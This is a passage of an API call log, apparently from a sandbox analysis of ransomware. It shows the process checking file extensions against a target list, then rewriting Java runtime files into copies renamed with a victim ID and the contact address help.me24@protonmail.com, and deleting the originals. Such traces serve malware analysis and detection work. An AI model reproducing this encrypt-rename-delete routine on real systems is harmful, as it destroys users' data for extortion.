	[0095.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.428] lstrlenW (lpString=".rar") returned 4
	[0095.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.428] lstrlenW (lpString=".bz2") returned 4
	[0095.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.429] lstrlenW (lpString=".7z") returned 3
	[0095.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.429] lstrlenW (lpString=".dbf") returned 4
	[0095.429] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.429] lstrlenW (lpString=".1cd") returned 4
	[0095.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.429] lstrlenW (lpString=".jpg") returned 4
	[0095.429] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.429] lstrlenW (lpString=".doc") returned 4
	[0095.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.429] lstrlenW (lpString=".docx") returned 5
	[0095.429] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0095.429] lstrlenW (lpString=".pdf") returned 4
	[0095.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.429] lstrlenW (lpString=".xls") returned 4
	[0095.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.429] lstrlenW (lpString=".xlsx") returned 5
	[0095.429] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0095.429] lstrlenW (lpString=".ppt") returned 4
	[0095.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.429] lstrlenW (lpString=".zip") returned 4
	[0095.429] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.429] lstrlenW (lpString=".rar") returned 4
	[0095.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.429] lstrlenW (lpString=".bz2") returned 4
	[0095.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.429] lstrlenW (lpString=".7z") returned 3
	[0095.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.429] lstrlenW (lpString=".dbf") returned 4
	[0095.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.430] lstrlenW (lpString=".1cd") returned 4
	[0095.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49
	[0095.430] lstrlenW (lpString=".jpg") returned 4
	[0095.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.430] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0095.430] lstrlenW (lpString="unpack200.exe") returned 13
	[0095.430] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.509] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=197184) returned 1
	[0095.509] CloseHandle (hObject=0x37c) returned 1
	[0095.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20
	[0095.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.509] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.509] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.509] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.509] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.511] GetLastError () returned 0x0
	[0095.511] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x30240, lpOverlapped=0x0) returned 1
	[0095.556] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x30250, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x30250, lpOverlapped=0x0) returned 1
	[0095.560] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.560] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xee, lpOverlapped=0x0) returned 1
	[0095.637] SetEndOfFile (hFile=0x338) returned 1
	[0095.637] CloseHandle (hObject=0x338) returned 1
	[0095.646] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.646] SetEndOfFile (hFile=0x37c) returned 1
	[0095.648] CloseHandle (hObject=0x37c) returned 1
	[0095.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.648] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.649] lstrlenW (lpString=".doc") returned 4
	[0095.649] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.649] lstrlenW (lpString=".docx") returned 5
	[0095.649] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0095.649] lstrlenW (lpString=".pdf") returned 4
	[0095.649] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.649] lstrlenW (lpString=".xls") returned 4
	[0095.649] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.649] lstrlenW (lpString=".xlsx") returned 5
	[0095.649] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0095.649] lstrlenW (lpString=".ppt") returned 4
	[0095.649] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.649] lstrlenW (lpString=".zip") returned 4
	[0095.649] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.649] lstrlenW (lpString=".rar") returned 4
	[0095.649] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.649] lstrlenW (lpString=".bz2") returned 4
	[0095.649] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.649] lstrlenW (lpString=".7z") returned 3
	[0095.649] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.649] lstrlenW (lpString=".dbf") returned 4
	[0095.649] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.649] lstrlenW (lpString=".1cd") returned 4
	[0095.649] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.649] lstrlenW (lpString=".jpg") returned 4
	[0095.649] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.650] lstrlenW (lpString=".doc") returned 4
	[0095.650] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0095.650] lstrlenW (lpString=".docx") returned 5
	[0095.650] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0095.650] lstrlenW (lpString=".pdf") returned 4
	[0095.650] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0095.650] lstrlenW (lpString=".xls") returned 4
	[0095.650] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0095.650] lstrlenW (lpString=".xlsx") returned 5
	[0095.650] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0095.650] lstrlenW (lpString=".ppt") returned 4
	[0095.650] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0095.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.650] lstrlenW (lpString=".zip") returned 4
	[0095.650] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0095.650] lstrlenW (lpString=".rar") returned 4
	[0095.650] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0095.650] lstrlenW (lpString=".bz2") returned 4
	[0095.650] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0095.650] lstrlenW (lpString=".7z") returned 3
	[0095.650] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0095.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.650] lstrlenW (lpString=".dbf") returned 4
	[0095.650] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0095.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.650] lstrlenW (lpString=".1cd") returned 4
	[0095.650] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0095.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52
	[0095.650] lstrlenW (lpString=".jpg") returned 4
	[0095.650] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0095.650] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.650] lstrlenW (lpString="WindowsAccessBridge-64.dll") returned 26
	[0095.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.651] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=110144) returned 1
	[0095.651] CloseHandle (hObject=0x37c) returned 1
	[0095.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20
	[0095.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.651] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.651] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.652] GetLastError () returned 0x0
	[0095.652] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x1ae40, lpOverlapped=0x0) returned 1
	[0095.658] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x1ae50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x1ae50, lpOverlapped=0x0) returned 1
	[0095.660] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.660] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x108, lpOverlapped=0x0) returned 1
	[0095.660] SetEndOfFile (hFile=0x338) returned 1
	[0095.661] CloseHandle (hObject=0x338) returned 1
	[0095.661] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.661] SetEndOfFile (hFile=0x37c) returned 1
	[0095.662] CloseHandle (hObject=0x37c) returned 1
	[0095.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.662] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 1
	[0095.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.662] lstrlenW (lpString=".doc") returned 4
	[0095.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString=".docx") returned 5
	[0095.663] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0095.663] lstrlenW (lpString=".pdf") returned 4
	[0095.663] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString=".xls") returned 4
	[0095.663] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString=".xlsx") returned 5
	[0095.663] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0095.663] lstrlenW (lpString=".ppt") returned 4
	[0095.663] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.663] lstrlenW (lpString=".zip") returned 4
	[0095.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString=".rar") returned 4
	[0095.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString=".bz2") returned 4
	[0095.663] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.663] lstrlenW (lpString=".7z") returned 3
	[0095.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.663] lstrlenW (lpString=".dbf") returned 4
	[0095.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.663] lstrlenW (lpString=".1cd") returned 4
	[0095.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.663] lstrlenW (lpString=".jpg") returned 4
	[0095.663] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.663] lstrlenW (lpString=".doc") returned 4
	[0095.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.663] lstrlenW (lpString=".docx") returned 5
	[0095.663] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0095.663] lstrlenW (lpString=".pdf") returned 4
	[0095.664] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.664] lstrlenW (lpString=".xls") returned 4
	[0095.664] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.664] lstrlenW (lpString=".xlsx") returned 5
	[0095.664] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0095.664] lstrlenW (lpString=".ppt") returned 4
	[0095.664] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.664] lstrlenW (lpString=".zip") returned 4
	[0095.664] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.664] lstrlenW (lpString=".rar") returned 4
	[0095.664] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.664] lstrlenW (lpString=".bz2") returned 4
	[0095.664] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.664] lstrlenW (lpString=".7z") returned 3
	[0095.664] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.664] lstrlenW (lpString=".dbf") returned 4
	[0095.664] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.664] lstrlenW (lpString=".1cd") returned 4
	[0095.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65
	[0095.664] lstrlenW (lpString=".jpg") returned 4
	[0095.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.664] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.664] lstrlenW (lpString="wsdetect.dll") returned 12
	[0095.664] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.665] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=192576) returned 1
	[0095.665] CloseHandle (hObject=0x37c) returned 1
	[0095.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20
	[0095.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.665] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.665] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.665] GetLastError () returned 0x0
	[0095.665] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x2f040, lpOverlapped=0x0) returned 1
	[0095.679] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x2f050, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x2f050, lpOverlapped=0x0) returned 1
	[0095.683] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.683] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.683] SetEndOfFile (hFile=0x338) returned 1
	[0095.683] CloseHandle (hObject=0x338) returned 1
	[0095.683] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.683] SetEndOfFile (hFile=0x37c) returned 1
	[0095.685] CloseHandle (hObject=0x37c) returned 1
	[0095.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.685] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 1
	[0095.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.685] lstrlenW (lpString=".doc") returned 4
	[0095.685] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString=".docx") returned 5
	[0095.686] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0095.686] lstrlenW (lpString=".pdf") returned 4
	[0095.686] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString=".xls") returned 4
	[0095.686] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString=".xlsx") returned 5
	[0095.686] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0095.686] lstrlenW (lpString=".ppt") returned 4
	[0095.686] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.686] lstrlenW (lpString=".zip") returned 4
	[0095.686] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString=".rar") returned 4
	[0095.686] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString=".bz2") returned 4
	[0095.686] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.686] lstrlenW (lpString=".7z") returned 3
	[0095.686] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.686] lstrlenW (lpString=".dbf") returned 4
	[0095.686] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.686] lstrlenW (lpString=".1cd") returned 4
	[0095.686] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
